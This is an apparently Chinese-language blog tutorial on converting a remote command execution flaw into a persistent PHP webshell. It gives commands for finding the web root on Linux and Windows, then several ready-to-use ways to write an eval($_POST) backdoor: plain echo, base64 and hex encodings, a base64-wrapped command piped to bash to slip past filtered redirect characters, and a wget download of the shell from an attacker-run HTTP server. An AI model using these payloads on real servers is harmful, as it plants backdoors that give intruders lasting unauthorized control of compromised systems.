命令执行写webshell总结
前言
当我们找到一个rce漏洞却无法反弹shell时,在web路径写webshell用连接工具进行管理会方便的多,本文总结从命令执行到webshell的流程化操作。
寻找web路径
写webshell当然要写在web路径,第一步要做的就是快速寻找web路径
1.文件查找法
一般web路径一定会有index.html\php\jsp\asp,login.xxx文件。可以根据已知页面文件名全局搜索
linux: find / -name index.php find / -name index. windows: for /r d:/ %i in (index.html) do @echo %ifor /r d:/ %i in (index.) do @echo %i
2.源码查找法
也可以选择打开当前已知web页面的f12查看源码,寻找一段特征足够明显的源码进行查找
linux:find / -name “.“ | xargs grep “PHP installed properly” find /var/www/ -name “.php” | xargs grep “doServerTest()”
windows:findstr /s/i/n /d:D:\sec_tools\ /c:”html” .htmlfindstr /s/i/n /d:C:\windows\ /c:”success” .
3.history等
通过linux历史命令查找web相关的服务启动命令
history | grep nginxhistory | grep tomcathistory | grep http
写入webshell
确认寻找到的路径有写入权限之后,就可以开始写webshell了
1.echo直接写入
echo ‘<?php eval($_POST[1]); ?>’ > 1.php
直接写入webshell一般不会成功,因为webshell中使用的某些关键符号可能被转码或屏蔽
2.base64写入
echo “PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==” | base64 -d >2.php
使用base64是比较通用的方法,完美去除了webshell本身的特殊字符
3.绕过重定向符
echo “ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=” | base64 -d | bash echo “ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=” | base64 -d | sh
重定向符>不可用时,我们可以将1或2中的整体命令base64编码,然后解码后通过bash或sh执行
其他字符绕过方式,如空格对应${IFS}等,可参考命令注入的绕过方式
4.远端下载webshell
远端服务器放置webshell,开启httppython -m http.server
目标机器执行wget http://xx.xx.xxx.xx:8000/xxx.php
可出网且有wget的情况下可采用此方式
5.hex写入
hex写入与base64写入相似,在 https://www.107000.com/T-Hex/
将webshell编码成hex,使用xxd命令还原
或在使用前将webshell使用xxd生成hex数据
echo ‘<?php eval($_POST[1]); ?>’ |xxd -ps
然后命令注入执行
echo 3C3F706870206576616C28245F504F53545B315D293B203F3E | xxd -r -ps > 5.php